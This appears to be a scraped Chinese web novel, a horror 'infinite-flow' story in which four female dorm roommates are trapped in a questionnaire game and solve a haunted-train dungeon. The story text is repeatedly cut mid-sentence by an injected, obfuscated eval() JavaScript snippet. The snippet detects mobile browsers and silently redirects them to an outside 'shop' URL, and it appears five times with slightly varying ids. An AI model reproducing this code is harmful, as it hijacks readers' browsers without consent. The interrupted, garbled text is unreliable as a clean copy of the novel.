《这份问卷演我精神状态》 1. 问卷降临 “谢谢你,亲爱的同学。你怀着真诚的心填写了《大学生精神状态调研》问卷,为我们的研究提供了莫大的帮助。为表达我们的感谢之情,我们决定邀请你作为第一批体验者,感受我们优秀的研究成果。别担心,我们与你同在。【左滑查看选项】” 伴随着九转十八弯的弹跳音效,边缘发光的黑色文字如同老式PPT播放动画一般一个字一个字地蹦出来,凭空出现在舒怀瑾的眼前。 舒怀瑾眨了眨眼,又晃了晃脑袋,发现这段文字并没有随着视野的变换而改变位置,不禁失神喃喃道:“坏了……三体人入侵地球了……” “你也看见了?”程映雪僵硬地转头看向她。 舒怀瑾转身,在三个舍友的眼中均看见了同款讶异。 “我眼前有字!你们也是这样吗?”邓溪明惊呼一声。 “……我的提到了我们之前在宿舍群里填的那份《大学牲精神状态调研》问卷,还邀请我体验他们的实验成果。”江贮月眯着眼将那段文字来回翻看了好几回,才迟疑地出声。 “我的也是。” “我也!” “我也……” 这是什么新科技?还是什么恶作剧?难道世界在背着我们悄悄进化?四个女生面面相觑。 “能不能退出啊。我看看哈。”舒怀瑾尝试着转了转眼球,又闭眼了十秒,心中还默念“关闭”,那段文字却是纹丝不动。 “用手好像可以滑动……”江贮月抬起食指,虚空滑动了几下,“但是只能显示下一页的选项,没有看到关闭键。” 其他人均开始用手指尝试滑动屏幕,只见下一页上用相同的字体呈现出两个选项。 “A.当然可以啦!” “B.好的。” 这算什么选项啊喂! “别人也会出现这种情况吗?”舒怀瑾摸出手机想要联系同学求证一下,却发现手机居然显示无信号。 程映雪尝试着拉开宿舍门,然而没上锁的门竟如同被焊接在了门框上一般,无法打开。 “你们觉不觉得,宿舍外突然变得非常安静。”江贮月轻轻说道。 舒怀瑾一下子愣住了。夜晚十点半,平常正是宿舍楼热闹的时候。洗漱声、笑声、虫鸣声、猫叫声,此时竟是全部消失了一般,只留下令人胆寒的幽静。 她离窗近,“唰”地一声拉开窗帘,四人均是一惊。 茂盛到贴窗的玉兰树不见了,取而代之的是翻滚的黑雾,此起彼伏,像涌泉一般撞到老旧的玻璃窗上,又缓缓向后消隐。 “请尽快作出选择,否则本问卷将自动为同学们选择合适的选项。^-^【倒计时:10秒】” “叮咚”一声在脑海中响起,含有选项的界面上浮现出红色的提示框。 颜文字很是俏皮,但提示框填充的红色正缓缓变暗为红褐色,并呈碎屑状脱落,形似实验课上的一些残余液体。 虽然有些惊骇,但在场的四人没人敢按照提示框的要求主动进行选择。谁又知道作出选择后会如何? 十秒转瞬即逝。 “感谢你的选择:A.当然可以啦!” 选项A的光芒大盛。粗糙的翻页特效后,机械音随着黑色文字的浮现而响起。 “检测到关键词:‘期末’、‘复习’、‘想鼠’。根据实际情况,已经为您将问卷问题顺序调整。” “问题1:你在期末月时的精神状态如何? A.气定神闲,早已掌握所有知识。 B.略显焦躁,知识点仍未巩固。 C.焦头烂额,开始预习知识点。 D.躺平摆烂,我命由天不由我。” “每个选项对应不同难度的副本,请按照宿舍中所有人的真实情况综合回答。【倒计时:1分钟】” 听见机械音播报的关键词时,寒意从舒怀瑾原本就冰冷的肢体末端突然爬上心脏。 它在监听? …… 四十分钟前。 随着“吱呀”一声响,打开的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593624|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老旧铁门将一阵寒风送进不甚宽敞的404室女寝内。 窝在椅垫上的舒怀瑾拢了拢羽绒服外套,转头悠悠向来人打招呼:“你回来啦。” “我回来了。屋里头好暖和啊。”程映雪将门关上,搓了搓手后把书包随意靠在椅背上,便开始整理书桌上的杂物。 已经是十二月下旬了,期末月的紧迫感充盈了整个图书馆,馆内座位是越来越难找。本着最大化利用资源的心态,她已经连续两周坚持在没课的时候早八晚十上班式前往图书馆复习了。此时的她如同真正的下班社畜一般,只想着尽快整理好东西后好好休息娱乐一下。 宿舍里另两位同学已经开始放松了。毕竟在期末月的时候,除了专业课知识,任何事物对于大学生都拥有致命吸引力。 邓溪明桌前摊着《高等代数》,但心已经飘到了旁边的手机屏幕上;江贮月则是很有先见之明地早早爬上床,安心地在床帘里将专业课知识和游戏劳逸结合。 现在,宿舍里只有舒怀瑾还在和一千页课程PPT作无谓的斗争。 对于普通大学生而言,求学过程中总有那么一些课程是即使认真听也毫无效果的,而对付这种课程只有寻求b站大学的帮助和狠心背PPT两种办法。 很可惜,这学期的不少课程都属于这种类型,并且没有合适的网络课程提供帮助。因此,如何在短时间内学会一个学期的课程知识成功成为了舒怀瑾目前的棘手难题。 基础有机化学,作为舒怀瑾这两天以来的针对性学习目标,以其中复杂模糊的分类与繁复冗长的定义而闻名。在这门科目的持续熏陶下,舒怀瑾的精神状态已经逐渐扭曲。 “不知道上辈子吃了什么蜈蚣屎、□□尿,居然想成人……” “一想到期末就要到了,而我还有那么多东西要复习,就好想鼠啊……” 舒怀瑾抱着pad在座位上仰天哀嚎出声,面部扭曲一如爱德华·蒙克的画作《呐喊》。 尾音才刚落地,变故就在此时发生。 2. 无限列车1 “问题1:你在期末月时的精神状态如何? A.气定神闲,早已掌握所有知识。 B.略显焦躁,知识点仍未巩固。 C.焦头烂额,开始预习知识点。 D.躺平摆烂,我命由天不由我。” “每个选项对应不同难度的副本,请按照宿舍中所有人的真实情况综合回答。【倒计时:1分钟】” 宿舍中的四人面色不霁。目前的所见所闻同小说套路相似,谁也不能保证不回答或答错这题将会有何种后果。但小说情节照进现实一事所带来的不真切之感,又令她们下意识地逃避作出选择。 虚拟时钟的指针“咔哒”、“咔哒”地踏在所有人的心上,时间很快便只剩下最后二十秒。四人带着豆大的汗珠,望望舍友,又望望窗外翻涌的黑雾,不知道该如何是好。 “要不……要不我们选C吧!” 看着只剩十秒的倒计时,舒怀瑾情急之下只能主动提出这个并不算上乘的建议。 另外三人犹豫片刻,最终一致通过这个提议。于是在倒计时的最后两秒,四人均冷汗涔涔地选择了C选项。 霎时间,C选项无限放大,炫目的白光占据了所有人的视野,与之俱来的是恍若飞船升天般的晕眩感。一阵嗡鸣过后,四人的意识均陷于无边的黑暗。 …… “恭喜答对,获得奖励【新手教程】×1、【全员默契】×1、【技能卡】×1,奖励已经自动放入背包。欢迎来到副本《无限列车》,通关要求:找到不属于此的乘客,并令其在正确的站点下车。” 冰冷的机械音将四人强制唤醒。 甫一睁眼,四人便惊觉自己已然入座于缓慢起步的列车。身下掉皮的绿色座椅触感冰冷又滑腻,暗棕色的地板上各色痕迹错综复杂,金属行李架颤抖着发出声响,顶灯如苟延残喘般明明灭灭。她们四人挤在一块儿,窗外依旧是弥漫的黑雾。 找到不属于此的乘客?舒怀瑾位置靠过道,她轻轻偏头打量四周,发现斜后方座椅上坐着两位乘客。两人似乎是一对恋人,挽手相靠,但双眼均不同寻常地紧闭。 舒怀瑾瞄了一眼便收回目光,看向身旁大气不敢喘的舍友们,这才后知后觉地发现整节车厢除了舍友们的呼吸声,根本没有其他人的声音。 车厢里的乘客,是活人还是死人? 顾不得多想,机械音再度响起。 “检测到四位同学于四分钟内未进行任何移动,自动开启新手教程。” 车窗上忽然起了一层薄雾,一根断口整齐的手指突兀地出现在窗外。白里透青的手指两侧各凸出来两颗红浊的眼珠,目光最终锁定了窗内的四人。它曲起关节在窗上清脆地敲了两下,随后开始一笔一划地在车窗上写字。 【新手教程】 一、副本与题目相关; 二、线索散布在副本场地内; 三、未正确答题者扣除生命值5点; 四、精神值低于10点将触发负面效果; 五、默念“背包”即可查看背包内物品; 六、合作是成功的关键。 …… 手指顿了顿,指腹抬起,正对着被另外三人使劲掐人中、就差口吐白沫的程映雪。 【我不吃人!!!!】 惨白的手指龙飞凤舞地写下这几个字,又在车窗上暴叩几下,很快便隐匿在黑雾中。 程映雪被舍友扶起来后,靠在椅子上自己缓了一小会儿,心道这手是挺新的,活蹦乱跳还会写字,新鲜得很。 她看了看身旁眼动手动口不动的舍友,又看了看窗子上还未消散的字,默念一声“背包”。三张烫金卡片倏忽间出现在眼前,排列得整整齐齐。 为首的一张点开来是个人信息,如同校园卡一般贴上了她的证件照。此外,卡面上还有两条状态数值栏,分别为生命值和精神值。或许是因为她方才受了惊吓,她的生命值虽然为满值20点,但精神值只有19点。 第二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593625|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张是技能卡。程映雪点击卡面上的“激活”按钮后,卡片翻转,露出背后的一片文字: 【一目叶】 我是用来遮住眼睛的小树叶,想不看谁就不看谁~什么?你问另一只眼睛怎么办?闭上就好啦~ 【使用方法】将树叶覆盖在任何一只眼睛上。每日仅限一次使用机会。 【作用效果】覆上一目叶的眼睛可以在两分钟内免疫视觉性精神攻击,并为使用者带来一定程度的气息隐匿效果。 【使用权限】仅限程映雪使用。 ……感觉还挺适合自己的。程映雪默默想。 第三张卡面上就写着“全员默契”四个大字。程映雪不无好奇地激活了这张卡片,熟悉的声音瞬间涌来。 “我的技能是【测谎仪】,每天可以选择辨别三句话的真伪……诶!映雪加入了!” 程映雪看到舒怀瑾转头望向自己,她的嘴唇没有动,但声音却实实在在地传入了自己脑海中。看来【全员默契】是开通了意识通讯效果。 “我的技能是一片可以在两分钟内抵御视觉性攻击并隐匿部分气息的树叶。但……它说这个只能我自己用。”程映雪想着这些话,自己的声音便自动传了出来,心中颇有些奇异。 “我的是【易容】,可以将人或物完全幻化成想要变形的模样,能维持一整天,但技能冷却时间为三天。”江贮月说道,“如果是对人使用这个技能,则必须要获得对方的许可。” “我的是一件红T恤,叫【运动健儿】,穿上之后可以增加50%的运动能力。衣服能变形,大家都能穿。冷却时间两天。”邓溪明摸了摸齐肩短发的末梢,双眼弯弯。这件红T恤和她最喜欢的运动员经典比赛服款式相同,虽有些巧合,但甚合她的心意。 “我……” “各位旅客朋友们,列车即将到达莱城站,请在莱城站下车的旅客携带好自己的行李,准备下车。欢迎您下次乘车!” 刺耳的播报声突然在车厢内炸响。 3. 无限列车2 “各位旅客朋友们,列车即将到达莱城站,请在莱城站下车的旅客携带好自己的行李,准备下车。欢迎您下次乘车!” 车轮与轨道之间嘶哑的摩擦声刻意被放大,应和着不断重复宛如尖啸一般的播报语音,竭尽所能地撕扯着乘客的鼓膜。 舒怀瑾本就听力灵敏,这一下魔音贯耳对她的伤害更是显著。她抱头捂耳,恨不得没长这副耳朵。好在这段折磨终于在她几乎将脑袋埋进肚子之前停止。她神情恍惚地将下巴抵在腿上,目光无神地乱浮,最终定在了对面座椅下的某处。 老旧的绿色座椅下,灰扑扑的尘埃中,似乎有一个小小的玻璃瓶,塞着软木塞,里面似乎装着什么东西。 舒怀瑾伸手将那玻璃瓶拾了起来。程映雪等人发现了她的动静,也纷纷凑过头来。 那玻璃瓶里,是一张卷起来的纸条。在列车停稳后的车厢中,在无数如机械般规律的脚步声中,她们默读这张有些泛黄的纸条。 【列车守则一】 一、列车会沿同一线路重复行驶,但同一线路最多重复三遍。 二、每一站均有乘客上下车,不属于此的乘客从未下车。 三、正确的站点从来不在过去。 四、列车上没有人。如果看见会说话的红眼珠人形生物,请立刻按下车厢门边上的红色紧急呼叫按钮,告知乘务员所在车厢,乘务员会立刻赶往处理。在此期间,不要和该生物对视。 五、不要在窗边低头。 六、列车只有一辆,请不要在错误的站点下车。 七、红色浆果具有特殊的食用效果。列车上没有红色浆果。 刚读完第二遍,那张纸条便开始由边缘往中心碎裂,消散之快宛若在期末考发卷后在脑海中飞速消失的临时抱佛脚产物。 读到第五条时,江贮月心中并没有起什么波澜。直到纸条消失,她准备直起身子时,才忽然心头一跳。 她身边的邓溪明靠着窗,方才正低下头阅读那张纸条。 “溪明,第五条说,不要在窗边低头。你现在就在窗边。” 四周的脚步声仍然响着,但似乎掺杂了些淅淅沥沥的水声,浓稠地淌到地上。邓溪明瞳孔一缩——一滴白中带红的粘稠液体,正滴在她前方的地板上。 有什么东西,在她头顶上。 “跑!别看它!叫乘务员!”舒怀瑾在脑海中大喊,四人立刻夺路而逃。 舒怀瑾奔向车门,狠狠按下红色的按钮。旁边的通话播音器发出“滴”的一声响,随即传出拥有标准播音腔的女声。 “乘客您好,请问您…” “我们在四号车厢,我们需要帮助!” 门框之上用红油漆写着巨大的“4”,舒怀瑾匆忙环顾四周后,余光黏着紧跟在邓溪明身后的怪物,心脏几乎要从胸膛中跳出来。 “好的,我们随后就到。” “嘟”的一声响,与乘务员间的联系被切断。然而危机并没有立即解决,后脑豁口的人形怪物拖着满是泥污的黑发,骨折般地曲着手脚,如同蜥蜴一般在地上扭曲地追逐邓溪明。 那怪物体型如同四五岁小孩一般大小,骨瘦如柴,但身形灵活。邓溪明在座椅与过道间奔逃之中根本不敢回头,仓惶之际直接默念技能将红色T恤套在了身上,体能加成之下才堪堪与怪物凌厉的手爪错开。它触及碍路的乘客,利爪直接将乘客一撕两半,却不见半点血液飞溅。 江贮月在后排座椅上找到了一根棒球棍,正紧张地举着棍子,欲上前帮助快要力竭的邓溪明。就在怪物抓住邓溪明的小臂正要撕扯、江贮月的棍子准备给怪物的后脑勺开个更大的豁口时,“叮”的一声脆响,怪物突然消失了。 江贮月的棒球棍挥了个空,邓溪明惊魂未定,喘着气盯着车厢连接处突然出现的乘务员。乘务员带着标准的微笑,朝着心有余悸的四人挥了挥手,声音甜美:“让您久等了。本次危 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593626|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机已经解除,请您放心乘坐本趟列车。祝您旅途愉快!” 她说完这段话,鞠了个躬,便转身朝着另一个车厢走去,消失在黑暗之中。 一切似乎都像刚开始时一般寂静得可怕,只有一扇碎裂的窗户和邓溪明布满抓痕的棉服袖子昭示了方才的不宁静。 列车又开始缓缓启动,寂静中响起了“哐当”、“哐当”的声响。每一位乘客都直挺挺地坐在座位上,双目紧闭。 “……那只怪物的眼珠是红色的,我往走道逃的时候不小心和它对视了。”邓溪明瘫软在座椅上。劫后余生并没有给她带来多少欣喜,恐惧仍然萦绕在她的心头。 “还好……至少赌对了。按照乘务员的话,那只怪物应该暂时不会再来了。”江贮月同样是冷汗淋漓,突然爆发的小臂此时一阵酸麻。 “被撕碎的乘客共有三名,他们消失了,没有留下任何东西,也没有重新上车。”缩在角落的程映雪在做了长久的心理建设后出声。 她的精神值在怪物出现时又下降了一点,但好在没影响她记下所见所闻。 “将我们现在所在的位置定义为最后一排,在怪物出现后上车并且没被撕碎的乘客,分别坐在1B、4D、8C、16E、21A。” 谢天谢地,程映雪的好记性正常发挥,可以抱大腿了。方才只顾着盯怪物而半点没有注意乘客的另外三人心中感动,看向程映雪的眼光带上了更多期待。 “我不知道原本车厢内有多少人。既然目前没有任何现象说明我们任务失败,我们不妨假设我们要找的乘客并没有被撕碎。”程映雪缓缓吐出一口浊气,但紧蹙的眉依旧没有放松,“接下来要做的就是探查所有乘客,寻找新的线索。” 舒怀瑾望向门后那浓黑的迷雾。雾气仍然翻涌着,试图触碰的手会被不可见的隔板挡住,无法穿过。看来其他的车厢并不是目前所需要考虑的。她望向车厢内,除了她们四人,总共有十一个乘客。 4. 无限列车3 “等一下,在开始探查前,我想说句话。”邓溪明举手,“刚才那些规则消失得太快了,我还没来得及完全记下来。” 的确,邓溪明方才离得远,纸上的字又小,她看规则也比别人少看几秒,记不住实在是情理之中。程映雪点点头,开始掏裤兜。 “其实我也……”舒怀瑾和江贮月齐齐举手。她们不像程映雪一般记忆力超群,平时期末复习知识点时也是马冬梅经典情景再现。方才紧张兮兮地才读了一会儿,又陡生变故,现在脑子里除了第四条和第五条规则外只记得零零散散几个词。 程映雪掏裤兜的手顿了顿,随即加快了翻找速度。最终,她在裤兜里掏出了三张干净的便签纸和一支黑笔。她在三人面前爬起来,就着身前的桌子,开始给三个队友打小抄。 【规则:1、同一线路最多重复三遍。2、要找的人从一开始就在车上。3、目的地不在过去。4、遇到红眼珠按车厢门边按钮,告知车厢号,乘务员会来处理。不要对视。5、窗边不低头。6、选择目的站点的机会只有一次。7、注意红色浆果,吃它有特殊作用。】 幸而她写字速度快,将守则进行缩句后,写三份也只是一眨眼的事情。 三人感恩戴德地接过了便签纸:“不愧是你!” “现在虽然能给你们打小抄,但是待会儿如果再出现规则就未必有这个时间了。”程映雪叹了口气,“之后出现的规则,你们三个一定要及时记笔记,多次背诵加深印象。”说罢,她又从另一个裤兜里掏出来三支笔递给三人。 三人早已深谙程映雪“裤兜即是笔袋”的习惯,只恨自己没有同款先见之明。她们接过笔,点点头,随即正式开始进行探查工作。 这趟列车是老式绿皮火车,车厢共内有十三排座位。除了首尾两排均只有四个同向靠墙座位外,其余排座椅均是五个座位为同向,共十个座位呈垂直符号状共享靠背式排列。同一排的五个座椅被走廊分为两组,分别为三个和两个。而程映雪的座位号命名方式承袭了高铁座位的命名方式,即每一排均有数字编号,五个座位分别为A、B、C及D、F。 已知信息为,在怪物出现后上车并且没消失的乘客共有五位。方才受限于视角,舒怀瑾未能发现前排座椅上还有一个小女孩。也就是说,剩余的乘客共有七位,分别为在2F的小女孩、5A的老奶奶、7F的中年男子、10D的年轻女子、一开始舒怀瑾瞄到的入座于18D、18F的年轻情侣以及20A的老爷爷。由列车守则可推得,她们需要找到的乘客,就在这七位乘客中。 “这里有新线索!”邓溪明朝舍友们招招手,她在开水处发现了一张浮在水槽上的纸。纸张已经被水浸湿了一半,上面用铅笔歪歪扭扭地写着字。 【列车守则二】 一、不会有人想吃红色浆果的,它们又苦又涩,除非实在是饿坏了。 二、石头会伤害姐姐。 三、火车鸣笛的时候,一定要站起来。 四、祈求她的原谅。 五、这趟列车一直都在。 六、今天是我们的生日。 七、有时,紧急呼叫按钮会失灵。 相比于守则一,守则二就显得有些过于意识流了。拿着笔的三人原本还想按照理解适当精简,粗略一看发现根本看不懂,只能分工合作将全文都抄在手背上。 三个人刚抄完各自的部分,正互相补笔记时,极富攻击性的到站语音播报再度响起。 “各位旅客朋友们,列车即将到达庆镇站,请在庆镇站下车的旅客携带好自己的行李,准备下车。欢迎您下次乘车!” 这回,早有准备的四人直接第一时间将耳朵堵好。舒怀瑾更是直接将羽绒服往上一拉,当了个“缩头乌龟”,只露一双眼睛在外面,紧紧盯着缓慢打开的车厢门。 车厢门外是同样的黑雾。上一站登车的两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593627|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名乘客从座椅上缓缓起身,步调一致地往门外走去,消失在黑雾中。紧接着,肤色灰白、双目紧闭的乘客僵硬着手脚,从黑雾中一个接一个地进到车厢中。 七个,这次上来了七个乘客。 每则守则都只有七条,上车乘客又正好是七人,虽然可能是巧合,但还是值得留意。舒怀瑾敛下眼眸,暗自思索。 列车再次启动之时,三人也将守则补充完整了。只是对于这不知所云的守则,四人都显得有些脑袋空空。 “我们把看到守则后的联想都拿出来讨论一下吧,或许会有新的启发。”秉持着集思广益或许能有新启发的理念,舒怀瑾率先出声,“我感觉这次的守则相比于前面那份,在语言风格上没那么官方,并且带有故事性。也许这份守则与任务目标背景相关。” “嗯,我也觉得。”程映雪点点头,“第二条中出现了角色‘姐姐’,第四条中提到了‘她’,第六条又说是‘我们’的生日……” 江贮月接上她的话:“也许,这份守则的作者就是所谓的‘姐姐’的同胞弟弟或者妹妹。大胆猜测一下,姐姐或者这个作者就是我们要找的乘客。” “假如‘姐姐’就是‘她’的话,按照‘取得原谅’及其他守则的描述,作者可能和姐姐在火车上或者任何有火车的地方发生了什么事故。”程映雪道。 有火车的地方,发生了事故?众人沉默,脑海中是各色猜想。 “诶,前面说红色浆果有特殊食用效果,现在又说没有人会想吃红色浆果。我觉得很大可能得喂人吃这个浆果,但应该不是我们吃。”邓溪明挠挠头,打破了沉默。 她的提议打开了大家的新思路。这份守则在提供背景信息的同时,似乎还提供了行动指导。除了第三、第七条字面意义上的指示外,浆果、石头、道歉和生日相关线索也许都可以成为判断乘客身份的道具。 四人对视一眼,决定开始第二轮搜查。 5. 无限列车4 好消息:在车厢首端找到了乘务员室。 坏消息:里面没有乘务员,但是有之前见到的那只怪物。 “啊啊啊啊怎么又追着我跑啊——”先开门的邓溪明避无可避地和怪物看了个对眼,此刻正一把鼻涕一把泪地在车厢内呈正弦型函数奔逃。她向来运气极佳,上大学以来想选的课就从没有落选的,蒙选择题也从未出错,因此才被舍友派遣去打开这扇未知的门。谁能想到一打开门就是如此惊喜的大礼呢?好在她的T恤技能仍在有效时间内,这才不至于在开门之刻便成为怪物的爪下亡魂。 舒怀瑾第一时间已经去按了紧急呼叫按钮了,但好巧不巧的是,正如守则二第七条所说,紧急呼叫按钮没有任何反应。因此她只能守在紧急呼叫按钮旁,过几秒便按一下,规律得像下蛋的老母鸡。她一边按着按钮,一边不错眼地观察着场上的局势。 只见江贮月紧张地偷袭了怪物之后,怪物仍然锁定邓溪明,没有转而来攻击她。于是她放下心来,在怪物快追上邓溪明时小心地它打一冷棍,成功成为了保持怪物与邓溪明之间安全距离的模范交警。 外面的兵荒马乱与程映雪关系不大。她的精神值在看见怪物时又下降了一点,现在仿佛晕车一般抬不起头,五感如同封入冰山下的深海,模糊难辨。喉咙口被涌上的胃液灼烧着,她的口腔内全是肆意分泌的唾液。列车偶尔的颠簸令她几乎无法稳住身形,她不得已靠墙蹲下,用手掌撑在满是脏污的地板上,以抵抗向下沉没的无力感,求得暂时的喘息。 缓上一会儿,她耳中邓溪明骂骂咧咧的声音才逐渐清晰,面前泥泞的地板也不再是模糊一片。待到程映雪的目光完全清明之时,她才惊诧地发现,手掌之下压着的所谓“泥泞”,竟是混有团团发丝的腥臭血泥。 程映雪忍着再次涌上来的呕吐感,直起身拍拍手,想要消除那股粘腻的触感。手掌交错之际,有什么东西从她的手掌间迅速地坠落到地板上。她俯下身,从血泥中扣出了它。 那是一颗直径约为五毫米的石头。 守则二第二条:石头会伤害姐姐。 虽然不清楚石头伤害“姐姐”的方式,但这块石头看起来实在是毫无杀伤力。她将她的发现告知了另外三人。除了正在亲身体验神庙逃亡的邓溪明无暇他顾以外,舒怀瑾和江贮月都一致认为可以先拿石头试一试偶然出现的怪物。毕竟,怪物也在车上,谁能保证它不是乘客之一呢?况且,方才舒怀瑾已经成功联系上了乘务员,三分钟内怪物便会消失。至于常驻的植物人乘客,等怪物消失后再慢慢试也未尝不可。 计划取得已经开始怼天怼地的邓溪明同意后,为保险起见,程映雪将一目叶覆盖在右眼上,江贮月握紧了棒球棍,提前取得了所有人对于“变形”的同意。 舒怀瑾接过石头,捡起在开水处找到的扫帚,准备偷袭怪物。待怪物从她前方窜过时,她手臂一挥,将石头扔向怪物后,立即迅速向后撤离。 小小的石头触及怪物的后脑勺后立即轻巧地弹开,而怪物却忽然身形一顿,随即仿佛遭受莫大的痛苦一般,嘶吼着不断抓挠自己的头颅。利爪在它的的头上划出一道道深可见骨的伤痕,灰白的皮肤翻出暗红的血肉。 赌对了!这个怪物就是守则中所说的“姐姐”! 四人欣喜的神色尚未来得及浮上面庞,变故又在倏忽间发生。那怪物突然停下自残的行为,抖掉了身上的血肉碎末,怨毒的眼神划过四人,随后直直朝着舒怀瑾飞扑过去! 怪物猝不及防的直扑所带来的精神攻击令所有人呆愣在原地,腥臭的深渊仿佛马上就要将舒怀瑾吞噬其中。生物面临死亡时本能的僵硬让舒怀瑾甚至无法抬起手指,只能瞪大双眼看着面目可怖的怪物越来越近。 在生与死的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593628|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬息之中,火车的鸣笛声如雷般炸响。电光石火之间,短促的悲鸣从怪物莫名受挤压而变形的躯体中如箭一般飞出。它从空中重重摔落,数十枚殷红的浆果从它腹中如同血珠一般四散翻滚。它短暂地抽搐了几下,随后便如一摊泥水一般瘫在地上,只剩下大张的眼与口微微颤抖。 “救我……救……” 断断续续的声音和着汩汩的血从怪物的口中吐出。 还未等四人从惊吓中缓过神来,“叮”的脆响再度响起,眨眼间怪物便消失不见,只留下满地的浆果。 四人心跳如擂鼓,齐齐望向车厢连接处。乘务员仍然是微笑,招手。 “让您久等了。本次危机已经解除,请您放心乘坐本趟列车。祝您旅途愉快!” 四人瘫在一块儿。经此一役,向来爱看惊悚电影的舒怀瑾直接掉了三点精神值。江贮月和邓溪明紧随其后,两点精神值随着魂魄也飘离体外了。只有提前开启一目叶的程映雪幸免于难,每一点精神值都坚守阵地。 “……呕……要不然……说你运气好呢……呕……地上……呕……这浆果……呕……你不开到这……怪物……呕……我们……还……呕……找不到……呕……呢……”舒怀瑾虽然神情恍惚,但身坚志残地颤巍巍举起一根手指,指着地上散落的浆果。 邓溪明有气无力地翻了个白眼:“……这……运气……呕……给你……呕……要不要……啊……呕……服了……” 没人有空说她俩幼稚,此时江贮月在程映雪的搀扶下已经到卫生间大吐特吐了。对她而言,精神值降低的负面效果有点像吃了毒菌子,目之所及的呕吐物都长出了几颗鲜活的眼珠。 这次经历虽然凶险万分,但好在阴差阳错之中为她们验证了不少猜想。稍作休整过后,四人将散落在地的小石头与红色浆果收集起来,围着一张小桌开始复盘细节。 6. 无限列车5 故事发生在上世纪的饥荒年代。 长期未进食的小女孩腹中饥饿的灼烧感远胜过前往未知处觅食的恐惧,她在夜色中拖着孱弱的身子越过铁轨,去摘苦涩却勉强能缓解痛苦的野果。 然而,在返家途中,她不慎踩到松动的石子,后脑磕到了坚硬的铁轨上。眩晕与疼痛令她无力挣扎起身,昏暗的灯光使无人发现她的所在。 最终,她在火车鸣笛声中魂断于车轮之下。 ——以上是舒怀瑾等四人结合复盘细节所推断的背景故事。 四人所在的列车为最常见于50年代到80年代的绿皮火车,加上怪物被石头所造成的伤害、鸣笛中被碾压一般的惨状、脑袋后的豁口、掉落的红色浆果、四五岁小女孩般瘦骨嶙峋的外表,再结合守则的暗示,稍微润色一下便是如此。 因此,根据以上推测,可以将七人中四十岁以下的乘客排除,最终只剩下5A的老奶奶、7F的中年男子、以及20A的老爷爷。 虽然目前不清楚守则二中“取得她的原谅”具体是什么意思,但她们接下来验证猜想的方法就简单多了——一个个塞果子。 于是,在老旧的车厢中上演了令人发指的一幕:四名妙龄女子竟合伙给三名无法动弹的中老年人强行喂食不明野果。 过程有些难以启齿,但好在结果是喜闻乐见的。 三位乘客中,两位男性乘客仍然保持原样,只有老奶奶紧闭的双眼缓缓睁开,混浊的淡褐色眼睛充满了迷茫。 “你们四个小姑娘,怎么围在这儿呢?” 植物人说话了。 这简直是医学奇迹! 舒怀瑾偷偷摩挲着口袋中剩余的野果,想着什么时候脱离了副本可以去提取分析一下这个果子的成分。这活死人肉白骨的本事,别说毕业论文了,拿下诺贝尔奖都不在话下。 舒怀瑾心中已经幻想到美好的退休生活了,但面对老奶奶的愈发不解的眼神和舍友们对她挤眉弄眼的暗示,她只能暂时停止做白日梦,一本正经地拿出一小捧野果来,递到老奶奶面前,道:“奶奶,我们看您座位下撒了一片儿果子,想着是不是您东西掉了,来给您捡捡。” 